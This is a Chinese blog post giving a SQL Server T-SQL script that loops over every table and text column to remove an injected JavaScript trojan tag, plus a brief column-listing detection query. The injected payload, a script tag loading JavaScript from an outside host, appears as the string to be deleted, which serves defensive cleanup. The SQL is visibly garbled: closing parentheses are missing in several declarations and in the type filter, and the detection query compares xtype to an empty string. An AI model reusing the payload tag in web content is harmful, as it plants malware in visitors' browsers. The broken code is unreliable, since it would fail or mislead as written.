• 清除注入sq里面的js木马l




    declare @delStr nvarchar(500
    set @delStr='<script src=http://8f8el3l.cn/0.js></script>' --要被替换掉字符 
    /*
    *********以下为操作实体************/ 
    set nocount on 

    declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int 
    declare @sql nvarchar(500

    set @iResult=0 
    declare cur cursor for 
    select name,id from sysobjects where xtype='U' 

    open cur 
    fetch next from cur into @tableName,@tbID 

    while @@fetch_status=0 
    begin 
      
    declare cur1 cursor for 
            
    --xtype in (231,167,239,175) 为char,varchar,nchar,nvarchar类型 
            select name from syscolumns where xtype in (231,167,239,175and id=@tbID 
      
    open cur1 
      
    fetch next from cur1 into @columnName 
      
    while @@fetch_status=0 
      
    begin 
          
    set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''      
          
    exec sp_executesql @sql      
          
    set @iRow=@@rowcount 
          
    set @iResult=@iResult+@iRow 
          
    if @iRow>0 
          
    begin 
        
    print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;' 
          
    end      
          
    fetch next from cur1 into @columnName 


      
    end 
      
    close cur1 
      
    deallocate cur1 
      
      
    fetch next from cur into @tableName,@tbID 
    end 
    print '数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!' 

    close cur 
    deallocate cur 
    set nocount off 

    ------------检测

    DECLARE   @T   varchar(255),
    @C   varchar(255)
    DECLARE   Table_Cursor   CURSOR   FOR
    Select   a.name,b.name   from   sysobjects   a,syscolumns   b
    where   a.id=b.id   and   a.xtype= ''   and   (b.xtype=99   or   b.xtype=35   or   b.xtype=231   or   b.xtype=167)  
    OPEN   Table_Cursor
    FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C
    WHILE(@@FETCH_STATUS=0)
    BEGIN   print   @c
    FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C  
    END
    CLOSE   Table_Cursor
    DEALLOCATE   Table_Cursor
  • 相关阅读:
    历史博文汇总
    Golang快速入门:从菜鸟到大佬
    网络1911、1912 DS第4次作业--批改总结
    [机器学习实战-Logistic回归]使用Logistic回归预测各种实例
    [机器学习实战-kNN算法]约会网站问题和手写数字系统实例
    SQL学习笔记(一)之基础语句
    Python学习笔记(九)之面向对象编程(下)
    Python学习笔记(八)之面向对象编程(上)
    Python学习笔记(七)之Python模块
    Python学习笔记(六)之函数式编程
  • 原文地址:https://www.cnblogs.com/wangjun8868/p/1534890.html
Copyright © 2020-2023  润新知